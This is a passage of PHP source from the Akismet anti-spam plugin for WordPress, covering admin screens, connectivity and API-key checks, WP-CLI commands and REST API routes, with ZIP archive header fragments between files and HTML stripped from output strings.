name. */ esc_html( __( 'Comment was caught by %s.', 'akismet' ) ), function_exists( 'wp_check_comment_disallowed_list' ) ? 'wp_check_comment_disallowed_list' : 'wp_blacklist_check' ); break; case 'report-spam': if ( isset( $row['user'] ) ) { $message = esc_html( sprintf( __( '%s reported this comment as spam.', 'akismet' ), $row['user'] ) ); } else if ( ! $message ) { $message = esc_html( __( 'This comment was reported as spam.', 'akismet' ) ); } break; case 'report-ham': if ( isset( $row['user'] ) ) { $message = esc_html( sprintf( __( '%s reported this comment as not spam.', 'akismet' ), $row['user'] ) ); } else if ( ! $message ) { $message = esc_html( __( 'This comment was reported as not spam.', 'akismet' ) ); } break; case 'cron-retry-spam': $message = esc_html( __( 'Akismet caught this comment as spam during an automatic retry.' , 'akismet') ); break; case 'cron-retry-ham': $message = esc_html( __( 'Akismet cleared this comment during an automatic retry.', 'akismet') ); break; case 'check-error': if ( isset( $row['meta'], $row['meta']['response'] ) ) { $message = sprintf( esc_html( __( 'Akismet was unable to check this comment (response: %s) but will automatically retry later.', 'akismet') ), '' . esc_html( $row['meta']['response'] ) . '' ); } else { $message = esc_html( __( 'Akismet was unable to check this comment but will automatically retry later.', 'akismet' ) ); } break; case 'recheck-error': if ( isset( $row['meta'], $row['meta']['response'] ) ) { $message = sprintf( esc_html( __( 'Akismet was unable to recheck this comment (response: %s).', 'akismet') ), '' . esc_html( $row['meta']['response'] ) . '' ); } else { $message = esc_html( __( 'Akismet was unable to recheck this comment.', 'akismet' ) ); } break; default: if ( preg_match( '/^status-changed/', $row['event'] ) ) { // Half of these used to be saved without the dash after 'status-changed'. // See https://plugins.trac.wordpress.org/changeset/1150658/akismet/trunk $new_status = preg_replace( '/^status-changed-?/', '', $row['event'] ); $message = sprintf( esc_html( __( 'Comment status was changed to %s', 'akismet' ) ), '' . esc_html( $new_status ) . '' ); } else if ( preg_match( '/^status-/', $row['event'] ) ) { $new_status = preg_replace( '/^status-/', '', $row['event'] ); if ( isset( $row['user'] ) ) { $message = sprintf( esc_html( __( '%1$s changed the comment status to %2$s.', 'akismet' ) ), $row['user'], '' . esc_html( $new_status ) . '' ); } } break; } if ( ! empty( $message ) ) { echo '

      '; echo '' . sprintf( esc_html__('%s ago', 'akismet'), human_time_diff( $row['time'] ) ) . ''; echo ' - '; echo $message; // esc_html() is done above so that we can use HTML in some messages. echo '

      '; } } } else { echo '

      '; echo esc_html( __( 'No comment history.', 'akismet' ) ); echo '

      '; } } public static function plugin_action_links( $links, $file ) { if ( $file == plugin_basename( plugin_dir_url( __FILE__ ) . '/akismet.php' ) ) { $links[] = ''.esc_html__( 'Settings' , 'akismet').''; } return $links; } // Total spam in queue // get_option( 'akismet_spam_count' ) is the total caught ever public static function get_spam_count( $type = false ) { global $wpdb; if ( !$type ) { // total $count = wp_cache_get( 'akismet_spam_count', 'widget' ); if ( false === $count ) { $count = wp_count_comments(); $count = $count->spam; wp_cache_set( 'akismet_spam_count', $count, 'widget', 3600 ); } return $count; } elseif ( 'comments' == $type || 'comment' == $type ) { // comments $type = ''; } return (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(comment_ID) FROM {$wpdb->comments} WHERE comment_approved = 'spam' AND comment_type = %s", $type ) ); } // Check connectivity between the WordPress blog and Akismet's servers. // Returns an associative array of server IP addresses, where the key is the IP address, and value is true (available) or false (unable to connect). public static function check_server_ip_connectivity() { $servers = $ips = array(); // Some web hosts may disable this function if ( function_exists('gethostbynamel') ) { $ips = gethostbynamel( 'rest.akismet.com' ); if ( $ips && is_array($ips) && count($ips) ) { $api_key = Akismet::get_api_key(); foreach ( $ips as $ip ) { $response = Akismet::verify_key( $api_key, $ip ); // even if the key is invalid, at least we know we have connectivity if ( $response == 'valid' || $response == 'invalid' ) $servers[$ip] = 'connected'; else $servers[$ip] = $response ? $response : 'unable to connect'; } } } return $servers; } // Simpler connectivity check public static function check_server_connectivity($cache_timeout = 86400) { $debug = array(); $debug[ 'PHP_VERSION' ] = PHP_VERSION; $debug[ 'WORDPRESS_VERSION' ] = $GLOBALS['wp_version']; $debug[ 'AKISMET_VERSION' ] = AKISMET_VERSION; $debug[ 'AKISMET__PLUGIN_DIR' ] = AKISMET__PLUGIN_DIR; $debug[ 'SITE_URL' ] = site_url(); $debug[ 'HOME_URL' ] = home_url(); $servers = get_option('akismet_available_servers'); if ( (time() - get_option('akismet_connectivity_time') < $cache_timeout) && $servers !== false ) { $servers = self::check_server_ip_connectivity(); update_option('akismet_available_servers', $servers); update_option('akismet_connectivity_time', time()); } if ( wp_http_supports( array( 'ssl' ) ) ) { $response = wp_remote_get( 'https://rest.akismet.com/1.1/test' ); } else { $response = wp_remote_get( 'http://rest.akismet.com/1.1/test' ); } $debug[ 'gethostbynamel' ] = function_exists('gethostbynamel') ? 'exists' : 'not here'; $debug[ 'Servers' ] = $servers; $debug[ 'Test Connection' ] = $response; Akismet::log( $debug ); if ( $response && 'connected' == wp_remote_retrieve_body( $response ) ) return true; return false; } // Check the server connectivity and store the available servers in an option. public static function get_server_connectivity($cache_timeout = 86400) { return self::check_server_connectivity( $cache_timeout ); } /** * Find out whether any comments in the Pending queue have not yet been checked by Akismet. * * @return bool */ public static function are_any_comments_waiting_to_be_checked() { return !! get_comments( array( // Exclude comments that are not pending. This would happen if someone manually approved or spammed a comment // that was waiting to be checked. The akismet_error meta entry will eventually be removed by the cron recheck job. 'status' => 'hold', // This is the commentmeta that is saved when a comment couldn't be checked. 'meta_key' => 'akismet_error', // We only need to know whether at least one comment is waiting for a check. 'number' => 1, ) ); } public static function get_page_url( $page = 'config' ) { $args = array( 'page' => 'akismet-key-config' ); if ( $page == 'stats' ) $args = array( 'page' => 'akismet-key-config', 'view' => 'stats' ); elseif ( $page == 'delete_key' ) $args = array( 'page' => 'akismet-key-config', 'view' => 'start', 'action' => 'delete-key', '_wpnonce' => wp_create_nonce( self::NONCE ) ); $url = add_query_arg( $args, class_exists( 'Jetpack' ) ? admin_url( 'admin.php' ) : admin_url( 'options-general.php' ) ); return $url; } public static function get_akismet_user( $api_key ) { $akismet_user = false; $subscription_verification = Akismet::http_post( Akismet::build_query( array( 'key' => $api_key, 'blog' => get_option( 'home' ) ) ), 'get-subscription' ); if ( ! empty( $subscription_verification[1] ) ) { if ( 'invalid' !== $subscription_verification[1] ) { $akismet_user = json_decode( $subscription_verification[1] ); } } return $akismet_user; } public static function get_stats( $api_key ) { $stat_totals = array(); foreach( array( '6-months', 'all' ) as $interval ) { $response = Akismet::http_post( Akismet::build_query( array( 'blog' => get_option( 'home' ), 'key' => $api_key, 'from' => $interval ) ), 'get-stats' ); if ( ! empty( $response[1] ) ) { $stat_totals[$interval] = json_decode( $response[1] ); } } return $stat_totals; } public static function verify_wpcom_key( $api_key, $user_id, $extra = array() ) { $akismet_account = Akismet::http_post( Akismet::build_query( array_merge( array( 'user_id' => $user_id, 'api_key' => $api_key, 'get_account_type' => 'true' ), $extra ) ), 'verify-wpcom-key' ); if ( ! empty( $akismet_account[1] ) ) $akismet_account = json_decode( $akismet_account[1] ); Akismet::log( compact( 'akismet_account' ) ); return $akismet_account; } public static function connect_jetpack_user() { if ( $jetpack_user = self::get_jetpack_user() ) { if ( isset( $jetpack_user['user_id'] ) && isset( $jetpack_user['api_key'] ) ) { $akismet_user = self::verify_wpcom_key( $jetpack_user['api_key'], $jetpack_user['user_id'], array( 'action' => 'connect_jetpack_user' ) ); if ( is_object( $akismet_user ) ) { self::save_key( $akismet_user->api_key ); return in_array( $akismet_user->status, array( 'active', 'active-dunning', 'no-sub' ) ); } } } return false; } public static function display_alert() { Akismet::view( 'notice', array( 'type' => 'alert', 'code' => (int) get_option( 'akismet_alert_code' ), 'msg' => get_option( 'akismet_alert_msg' ) ) ); } public static function display_spam_check_warning() { Akismet::fix_scheduled_recheck(); if ( wp_next_scheduled('akismet_schedule_cron_recheck') > time() && self::are_any_comments_waiting_to_be_checked() ) { $link_text = apply_filters( 'akismet_spam_check_warning_link_text', sprintf( __( 'Please check your Akismet configuration and contact your web host if problems persist.', 'akismet'), esc_url( self::get_page_url() ) ) ); Akismet::view( 'notice', array( 'type' => 'spam-check', 'link_text' => $link_text ) ); } } public static function display_api_key_warning() { Akismet::view( 'notice', array( 'type' => 'plugin' ) ); } public static function display_page() { if ( !Akismet::get_api_key() || ( isset( $_GET['view'] ) && $_GET['view'] == 'start' ) ) self::display_start_page(); elseif ( isset( $_GET['view'] ) && $_GET['view'] == 'stats' ) self::display_stats_page(); else self::display_configuration_page(); } public static function display_start_page() { if ( isset( $_GET['action'] ) ) { if ( $_GET['action'] == 'delete-key' ) { if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( $_GET['_wpnonce'], self::NONCE ) ) delete_option( 'wordpress_api_key' ); } } if ( $api_key = Akismet::get_api_key() && ( empty( self::$notices['status'] ) || 'existing-key-invalid' != self::$notices['status'] ) ) { self::display_configuration_page(); return; } //the user can choose to auto connect their API key by clicking a button on the akismet done page //if jetpack, get verified api key by using connected wpcom user id //if no jetpack, get verified api key by using an akismet token $akismet_user = false; if ( isset( $_GET['token'] ) && preg_match('/^(\d+)-[0-9a-f]{20}$/', $_GET['token'] ) ) $akismet_user = self::verify_wpcom_key( '', '', array( 'token' => $_GET['token'] ) ); elseif ( $jetpack_user = self::get_jetpack_user() ) $akismet_user = self::verify_wpcom_key( $jetpack_user['api_key'], $jetpack_user['user_id'] ); if ( isset( $_GET['action'] ) ) { if ( $_GET['action'] == 'save-key' ) { if ( is_object( $akismet_user ) ) { self::save_key( $akismet_user->api_key ); self::display_configuration_page(); return; } } } Akismet::view( 'start', compact( 'akismet_user' ) ); /* // To see all variants when testing. $akismet_user->status = 'no-sub'; Akismet::view( 'start', compact( 'akismet_user' ) ); $akismet_user->status = 'cancelled'; Akismet::view( 'start', compact( 'akismet_user' ) ); $akismet_user->status = 'suspended'; Akismet::view( 'start', compact( 'akismet_user' ) ); $akismet_user->status = 'other'; Akismet::view( 'start', compact( 'akismet_user' ) ); $akismet_user = false; */ } public static function display_stats_page() { Akismet::view( 'stats' ); } public static function display_configuration_page() { $api_key = Akismet::get_api_key(); $akismet_user = self::get_akismet_user( $api_key ); if ( ! $akismet_user ) { // This could happen if the user's key became invalid after it was previously valid and successfully set up. self::$notices['status'] = 'existing-key-invalid'; self::display_start_page(); return; } $stat_totals = self::get_stats( $api_key ); // If unset, create the new strictness option using the old discard option to determine its default. // If the old option wasn't set, default to discarding the blatant spam. if ( get_option( 'akismet_strictness' ) === false ) { add_option( 'akismet_strictness', ( get_option( 'akismet_discard_month' ) === 'false' ? '0' : '1' ) ); } // Sync the local "Total spam blocked" count with the authoritative count from the server. if ( isset( $stat_totals['all'], $stat_totals['all']->spam ) ) { update_option( 'akismet_spam_count', $stat_totals['all']->spam ); } $notices = array(); if ( empty( self::$notices ) ) { if ( ! empty( $stat_totals['all'] ) && isset( $stat_totals['all']->time_saved ) && $akismet_user->status == 'active' && $akismet_user->account_type == 'free-api-key' ) { $time_saved = false; if ( $stat_totals['all']->time_saved > 1800 ) { $total_in_minutes = round( $stat_totals['all']->time_saved / 60 ); $total_in_hours = round( $total_in_minutes / 60 ); $total_in_days = round( $total_in_hours / 8 ); $cleaning_up = __( 'Cleaning up spam takes time.' , 'akismet'); if ( $total_in_days > 1 ) $time_saved = $cleaning_up . ' ' . sprintf( _n( 'Akismet has saved you %s day!', 'Akismet has saved you %s days!', $total_in_days, 'akismet' ), number_format_i18n( $total_in_days ) ); elseif ( $total_in_hours > 1 ) $time_saved = $cleaning_up . ' ' . sprintf( _n( 'Akismet has saved you %d hour!', 'Akismet has saved you %d hours!', $total_in_hours, 'akismet' ), $total_in_hours ); elseif ( $total_in_minutes >= 30 ) $time_saved = $cleaning_up . ' ' . sprintf( _n( 'Akismet has saved you %d minute!', 'Akismet has saved you %d minutes!', $total_in_minutes, 'akismet' ), $total_in_minutes ); } $notices[] = array( 'type' => 'active-notice', 'time_saved' => $time_saved ); } if ( !empty( $akismet_user->limit_reached ) && in_array( $akismet_user->limit_reached, array( 'yellow', 'red' ) ) ) { $notices[] = array( 'type' => 'limit-reached', 'level' => $akismet_user->limit_reached ); } } if ( !isset( self::$notices['status'] ) && in_array( $akismet_user->status, array( 'cancelled', 'suspended', 'missing', 'no-sub' ) ) ) { $notices[] = array( 'type' => $akismet_user->status ); } /* // To see all variants when testing. $notices[] = array( 'type' => 'active-notice', 'time_saved' => 'Cleaning up spam takes time. Akismet has saved you 1 minute!' ); $notices[] = array( 'type' => 'plugin' ); $notices[] = array( 'type' => 'spam-check', 'link_text' => 'Link text.' ); $notices[] = array( 'type' => 'notice', 'notice_header' => 'This is the notice header.', 'notice_text' => 'This is the notice text.' ); $notices[] = array( 'type' => 'missing-functions' ); $notices[] = array( 'type' => 'servers-be-down' ); $notices[] = array( 'type' => 'active-dunning' ); $notices[] = array( 'type' => 'cancelled' ); $notices[] = array( 'type' => 'suspended' ); $notices[] = array( 'type' => 'missing' ); $notices[] = array( 'type' => 'no-sub' ); $notices[] = array( 'type' => 'new-key-valid' ); $notices[] = array( 'type' => 'new-key-invalid' ); $notices[] = array( 'type' => 'existing-key-invalid' ); $notices[] = array( 'type' => 'new-key-failed' ); $notices[] = array( 'type' => 'limit-reached', 'level' => 'yellow' ); $notices[] = array( 'type' => 'limit-reached', 'level' => 'red' ); */ Akismet::log( compact( 'stat_totals', 'akismet_user' ) ); Akismet::view( 'config', compact( 'api_key', 'akismet_user', 'stat_totals', 'notices' ) ); } public static function display_notice() { global $hook_suffix; if ( in_array( $hook_suffix, array( 'jetpack_page_akismet-key-config', 'settings_page_akismet-key-config' ) ) ) { // This page manages the notices and puts them inline where they make sense. return; } if ( in_array( $hook_suffix, array( 'edit-comments.php' ) ) && (int) get_option( 'akismet_alert_code' ) > 0 ) { Akismet::verify_key( Akismet::get_api_key() ); //verify that the key is still in alert state if ( get_option( 'akismet_alert_code' ) > 0 ) self::display_alert(); } elseif ( ( 'plugins.php' === $hook_suffix || 'edit-comments.php' === $hook_suffix ) && ! Akismet::get_api_key() ) { // Show the "Set Up Akismet" banner on the comments and plugin pages if no API key has been set. self::display_api_key_warning(); } elseif ( $hook_suffix == 'edit-comments.php' && wp_next_scheduled( 'akismet_schedule_cron_recheck' ) ) { self::display_spam_check_warning(); } if ( isset( $_GET['akismet_recheck_complete'] ) ) { $recheck_count = (int) $_GET['recheck_count']; $spam_count = (int) $_GET['spam_count']; if ( $recheck_count === 0 ) { $message = __( 'There were no comments to check. Akismet will only check comments awaiting moderation.', 'akismet' ); } else { $message = sprintf( _n( 'Akismet checked %s comment.', 'Akismet checked %s comments.', $recheck_count, 'akismet' ), number_format( $recheck_count ) ); $message .= ' '; if ( $spam_count === 0 ) { $message .= __( 'No comments were caught as spam.', 'akismet' ); } else { $message .= sprintf( _n( '%s comment was caught as spam.', '%s comments were caught as spam.', $spam_count, 'akismet' ), number_format( $spam_count ) ); } } echo '

      ' . esc_html( $message ) . '

      '; } else if ( isset( $_GET['akismet_recheck_error'] ) ) { echo '

      ' . esc_html( __( 'Akismet could not recheck your comments for spam.', 'akismet' ) ) . '

      '; } } public static function display_status() { if ( ! self::get_server_connectivity() ) { Akismet::view( 'notice', array( 'type' => 'servers-be-down' ) ); } else if ( ! empty( self::$notices ) ) { foreach ( self::$notices as $index => $type ) { if ( is_object( $type ) ) { $notice_header = $notice_text = ''; if ( property_exists( $type, 'notice_header' ) ) { $notice_header = wp_kses( $type->notice_header, self::$allowed ); } if ( property_exists( $type, 'notice_text' ) ) { $notice_text = wp_kses( $type->notice_text, self::$allowed ); } if ( property_exists( $type, 'status' ) ) { $type = wp_kses( $type->status, self::$allowed ); Akismet::view( 'notice', compact( 'type', 'notice_header', 'notice_text' ) ); unset( self::$notices[ $index ] ); } } else { Akismet::view( 'notice', compact( 'type' ) ); unset( self::$notices[ $index ] ); } } } } private static function get_jetpack_user() { if ( !class_exists('Jetpack') ) return false; if ( defined( 'JETPACK__VERSION' ) && version_compare( JETPACK__VERSION, '7.7', '<' ) ) { // For version of Jetpack prior to 7.7. Jetpack::load_xml_rpc_client(); } $xml = new Jetpack_IXR_ClientMulticall( array( 'user_id' => get_current_user_id() ) ); $xml->addCall( 'wpcom.getUserID' ); $xml->addCall( 'akismet.getAPIKey' ); $xml->query(); Akismet::log( compact( 'xml' ) ); if ( !$xml->isError() ) { $responses = $xml->getResponse(); if ( count( $responses ) > 1 ) { // Due to a quirk in how Jetpack does multi-calls, the response order // can't be trusted to match the call order. It's a good thing our // return values can be mostly differentiated from each other. $first_response_value = array_shift( $responses[0] ); $second_response_value = array_shift( $responses[1] ); // If WPCOM ever reaches 100 billion users, this will fail. :-) if ( preg_match( '/^[a-f0-9]{12}$/i', $first_response_value ) ) { $api_key = $first_response_value; $user_id = (int) $second_response_value; } else { $api_key = $second_response_value; $user_id = (int) $first_response_value; } return compact( 'api_key', 'user_id' ); } } return false; } /** * Some commentmeta isn't useful in an export file. Suppress it (when supported). * * @param bool $exclude * @param string $key The meta key * @param object $meta The meta object * @return bool Whether to exclude this meta entry from the export. */ public static function exclude_commentmeta_from_export( $exclude, $key, $meta ) { if ( in_array( $key, array( 'akismet_as_submitted', 'akismet_rechecking', 'akismet_delayed_moderation_email' ) ) ) { return true; } return $exclude; } /** * When Akismet is active, remove the "Activate Akismet" step from the plugin description. */ public static function modify_plugin_description( $all_plugins ) { if ( isset( $all_plugins['akismet/akismet.php'] ) ) { if ( Akismet::get_api_key() ) { $all_plugins['akismet/akismet.php']['Description'] = __( 'Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Your site is fully configured and being protected, even while you sleep.', 'akismet' ); } else { $all_plugins['akismet/akismet.php']['Description'] = __( 'Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started, just go to your Akismet Settings page to set up your API key.', 'akismet' ); } } return $all_plugins; } private static function set_form_privacy_notice_option( $state ) { if ( in_array( $state, array( 'display', 'hide' ) ) ) { update_option( 'akismet_comment_form_privacy_notice', $state ); } } public static function register_personal_data_eraser( $erasers ) { $erasers['akismet'] = array( 'eraser_friendly_name' => __( 'Akismet', 'akismet' ), 'callback' => array( 'Akismet_Admin', 'erase_personal_data' ), ); return $erasers; } /** * When a user requests that their personal data be removed, Akismet has a duty to discard * any personal data we store outside of the comment itself. Right now, that is limited * to the copy of the comment we store in the akismet_as_submitted commentmeta. * * FWIW, this information would be automatically deleted after 15 days. * * @param $email_address string The email address of the user who has requested erasure. * @param $page int This function can (and will) be called multiple times to prevent timeouts, * so this argument is used for pagination. * @return array * @see https://developer.wordpress.org/plugins/privacy/adding-the-personal-data-eraser-to-your-plugin/ */ public static function erase_personal_data( $email_address, $page = 1 ) { $items_removed = false; $number = 50; $page = (int) $page; $comments = get_comments( array( 'author_email' => $email_address, 'number' => $number, 'paged' => $page, 'order_by' => 'comment_ID', 'order' => 'ASC', ) ); foreach ( (array) $comments as $comment ) { $comment_as_submitted = get_comment_meta( $comment->comment_ID, 'akismet_as_submitted', true ); if ( $comment_as_submitted ) { delete_comment_meta( $comment->comment_ID, 'akismet_as_submitted' ); $items_removed = true; } } // Tell core if we have more comments to work on still $done = count( $comments ) < $number; return array( 'items_removed' => $items_removed, 'items_retained' => false, // always false in this example 'messages' => array(), // no messages in this example 'done' => $done, ); } } PK/—[(×{77akismet/class.akismet-cli.phpnu„[µü¤... * : The ID(s) of the comment(s) to check. * * [--noaction] * : Don't change the status of the comment. Just report what Akismet thinks it is. * * ## EXAMPLES * * wp akismet check 12345 * * @alias comment-check */ public function check( $args, $assoc_args ) { foreach ( $args as $comment_id ) { if ( isset( $assoc_args['noaction'] ) ) { // Check the comment, but don't reclassify it. $api_response = Akismet::check_db_comment( $comment_id, 'wp-cli' ); } else { $api_response = Akismet::recheck_comment( $comment_id, 'wp-cli' ); } if ( 'true' === $api_response ) { WP_CLI::line( sprintf( __( "Comment #%d is spam.", 'akismet' ), $comment_id ) ); } else if ( 'false' === $api_response ) { WP_CLI::line( sprintf( __( "Comment #%d is not spam.", 'akismet' ), $comment_id ) ); } else { if ( false === $api_response ) { WP_CLI::error( __( "Failed to connect to Akismet.", 'akismet' ) ); } else if ( is_wp_error( $api_response ) ) { WP_CLI::warning( sprintf( __( "Comment #%d could not be checked.", 'akismet' ), $comment_id ) ); } } } } /** * Recheck all comments in the Pending queue. * * ## EXAMPLES * * wp akismet recheck_queue * * @alias recheck-queue */ public function recheck_queue() { $batch_size = 100; $start = 0; $total_counts = array(); do { $result_counts = Akismet_Admin::recheck_queue_portion( $start, $batch_size ); if ( $result_counts['processed'] > 0 ) { foreach ( $result_counts as $key => $count ) { if ( ! isset( $total_counts[ $key ] ) ) { $total_counts[ $key ] = $count; } else { $total_counts[ $key ] += $count; } } $start += $batch_size; $start -= $result_counts['spam']; // These comments will have been removed from the queue. } } while ( $result_counts['processed'] > 0 ); WP_CLI::line( sprintf( _n( "Processed %d comment.", "Processed %d comments.", $total_counts['processed'], 'akismet' ), number_format( $total_counts['processed'] ) ) ); WP_CLI::line( sprintf( _n( "%d comment moved to Spam.", "%d comments moved to Spam.", $total_counts['spam'], 'akismet' ), number_format( $total_counts['spam'] ) ) ); if ( $total_counts['error'] ) { WP_CLI::line( sprintf( _n( "%d comment could not be checked.", "%d comments could not be checked.", $total_counts['error'], 'akismet' ), number_format( $total_counts['error'] ) ) ); } } /** * Fetches stats from the Akismet API. * * ## OPTIONS * * [] * : The time period for which to retrieve stats. * --- * default: all * options: * - days * - months * - all * --- * * [--format=] * : Allows overriding the output of the command when listing connections. * --- * default: table * options: * - table * - json * - csv * - yaml * - count * --- * * [--summary] * : When set, will display a summary of the stats. * * ## EXAMPLES * * wp akismet stats * wp akismet stats all * wp akismet stats days * wp akismet stats months * wp akismet stats all --summary */ public function stats( $args, $assoc_args ) { $api_key = Akismet::get_api_key(); if ( empty( $api_key ) ) { WP_CLI::error( __( 'API key must be set to fetch stats.', 'akismet' ) ); } switch ( $args[0] ) { case 'days': $interval = '60-days'; break; case 'months': $interval = '6-months'; break; default: $interval = 'all'; break; } $response = Akismet::http_post( Akismet::build_query( array( 'blog' => get_option( 'home' ), 'key' => $api_key, 'from' => $interval, ) ), 'get-stats' ); if ( empty( $response[1] ) ) { WP_CLI::error( __( 'Currently unable to fetch stats. Please try again.', 'akismet' ) ); } $response_body = json_decode( $response[1], true ); if ( is_null( $response_body ) ) { WP_CLI::error( __( 'Stats response could not be decoded.', 'akismet' ) ); } if ( isset( $assoc_args['summary'] ) ) { $keys = array( 'spam', 'ham', 'missed_spam', 'false_positives', 'accuracy', 'time_saved', ); WP_CLI\Utils\format_items( $assoc_args['format'], array( $response_body ), $keys ); } else { $stats = $response_body['breakdown']; WP_CLI\Utils\format_items( $assoc_args['format'], $stats, array_keys( end( $stats ) ) ); } } }PK/—[pOž¢++"akismet/class.akismet-rest-api.phpnu„[µü¤ WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_key' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'set_key' ), 'args' => array( 'key' => array( 'required' => true, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_key' ), 'description' => __( 'A 12-character Akismet API key. Available at akismet.com/get/', 'akismet' ), ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'delete_key' ), ) ) ); register_rest_route( 'akismet/v1', '/settings/', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_settings' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'set_boolean_settings' ), 'args' => array( 'akismet_strictness' => array( 'required' => false, 'type' => 'boolean', 'description' => __( 'If true, Akismet will automatically discard the worst spam automatically rather than putting it in the spam folder.', 'akismet' ), ), 'akismet_show_user_comments_approved' => array( 'required' => false, 'type' => 'boolean', 'description' => __( 'If true, show the number of approved comments beside each comment author in the comments list page.', 'akismet' ), ), ), ) ) ); register_rest_route( 'akismet/v1', '/stats', array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_stats' ), 'args' => array( 'interval' => array( 'required' => false, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_interval' ), 'description' => __( 'The time period for which to retrieve stats. Options: 60-days, 6-months, all', 'akismet' ), 'default' => 'all', ), ), ) ); register_rest_route( 'akismet/v1', '/stats/(?P[\w+])', array( 'args' => array( 'interval' => array( 'description' => __( 'The time period for which to retrieve stats. Options: 60-days, 6-months, all', 'akismet' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_stats' ), ) ) ); register_rest_route( 'akismet/v1', '/alert', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'remote_call_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_alert' ), 'args' => array( 'key' => array( 'required' => false, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_key' ), 'description' => __( 'A 12-character Akismet API key. Available at akismet.com/get/', 'akismet' ), ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'permission_callback' => array( 'Akismet_REST_API', 'remote_call_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'set_alert' ), 'args' => array( 'key' => array( 'required' => false, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_key' ), 'description' => __( 'A 12-character Akismet API key. Available at akismet.com/get/', 'akismet' ), ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'permission_callback' => array( 'Akismet_REST_API', 'remote_call_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'delete_alert' ), 'args' => array( 'key' => array( 'required' => false, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_key' ), 'description' => __( 'A 12-character Akismet API key. Available at akismet.com/get/', 'akismet' ), ), ), ) ) ); } /** * Get the current Akismet API key. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function get_key( $request = null ) { return rest_ensure_response( Akismet::get_api_key() ); } /** * Set the API key, if possible. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function set_key( $request ) { if ( defined( 'WPCOM_API_KEY' ) ) { return rest_ensure_response( new WP_Error( 'hardcoded_key', __( 'This site\'s API key is hardcoded and cannot be changed via the API.', 'akismet' ), array( 'status'=> 409 ) ) ); } $new_api_key = $request->get_param( 'key' ); if ( ! self::key_is_valid( $new_api_key ) ) { return rest_ensure_response( new WP_Error( 'invalid_key', __( 'The value provided is not a valid and registered API key.', 'akismet' ), array( 'status' => 400 ) ) ); } update_option( 'wordpress_api_key', $new_api_key ); return self::get_key(); } /** * Unset the API key, if possible. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function delete_key( $request ) { if ( defined( 'WPCOM_API_KEY' ) ) { return rest_ensure_response( new WP_Error( 'hardcoded_key', __( 'This site\'s API key is hardcoded and cannot be deleted.', 'akismet' ), array( 'status'=> 409 ) ) ); } delete_option( 'wordpress_api_key' ); return rest_ensure_response( true ); } /** * Get the Akismet settings. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function get_settings( $request = null ) { return rest_ensure_response( array( 'akismet_strictness' => ( get_option( 'akismet_strictness', '1' ) === '1' ), 'akismet_show_user_comments_approved' => ( get_option( 'akismet_show_user_comments_approved', '1' ) === '1' ), ) ); } /** * Update the Akismet settings. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function set_boolean_settings( $request ) { foreach ( array( 'akismet_strictness', 'akismet_show_user_comments_approved', ) as $setting_key ) { $setting_value = $request->get_param( $setting_key ); if ( is_null( $setting_value ) ) { // This setting was not specified. continue; } // From 4.7+, WP core will ensure that these are always boolean // values because they are registered with 'type' => 'boolean', // but we need to do this ourselves for prior versions. $setting_value = Akismet_REST_API::parse_boolean( $setting_value ); update_option( $setting_key, $setting_value ? '1' : '0' ); } return self::get_settings(); } /** * Parse a numeric or string boolean value into a boolean. * * @param mixed $value The value to convert into a boolean. * @return bool The converted value. */ public static function parse_boolean( $value ) { switch ( $value ) { case true: case 'true': case '1': case 1: return true; case false: case 'false': case '0': case 0: return false; default: return (bool) $value; } } /** * Get the Akismet stats for a given time period. * * Possible `interval` values: * - all * - 60-days * - 6-months * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function get_stats( $request ) { $api_key = Akismet::get_api_key(); $interval = $request->get_param( 'interval' ); $stat_totals = array(); $response = Akismet::http_post( Akismet::build_query( array( 'blog' => get_option( 'home' ), 'key' => $api_key, 'from' => $interval ) ), 'get-stats' ); if ( ! empty( $response[1] ) ) { $stat_totals[$interval] = json_decode( $response[1] ); } return rest_ensure_response( $stat_totals ); } /** * Get the current alert code and message. Alert codes are used to notify the site owner * if there's a problem, like a connection issue between their site and the Akismet API, * invalid requests being sent, etc. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function get_alert( $request ) { return rest_ensure_response( array( 'code' => get_option( 'akismet_alert_code' ), 'message' => get_option( 'akismet_alert_msg' 